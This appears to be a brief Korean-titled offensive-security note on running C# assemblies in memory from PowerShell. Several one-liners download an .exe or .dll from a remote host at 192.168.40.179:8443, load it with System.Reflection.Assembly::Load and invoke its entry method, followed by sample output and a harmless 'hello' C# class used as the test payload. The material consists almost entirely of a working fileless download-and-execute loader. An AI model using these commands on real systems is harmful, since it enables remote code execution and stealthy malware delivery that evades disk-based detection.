C# 실행
Last updated
$a = (New-Object net.webclient).DownloadData('http://192.168.40.179:8443/test.exe')
$b = [System.Reflection.Assembly]::Load($a)
[test.test]::Main("")
[+] hello, from C#![System.Reflection.Assembly]::Load((New-Object net.webclient).DownloadData('http://192.168.40.179:8443/test.exe')) | Out-Null; [<NameSpace>.<Class>]::Main("")
[+] hello, from C#!using System;
namespace test
{
public class test
{
public static void Execute()
{
Console.WriteLine("[+] hello, from C#!");
}
}
}
==========
[System.Reflection.Assembly]::Load((New-Object net.webclient).DownloadData('http://192.168.40.179:8443/test.dll')) | Out-Null; [test.test]::Execute()
[+] hello, from C#!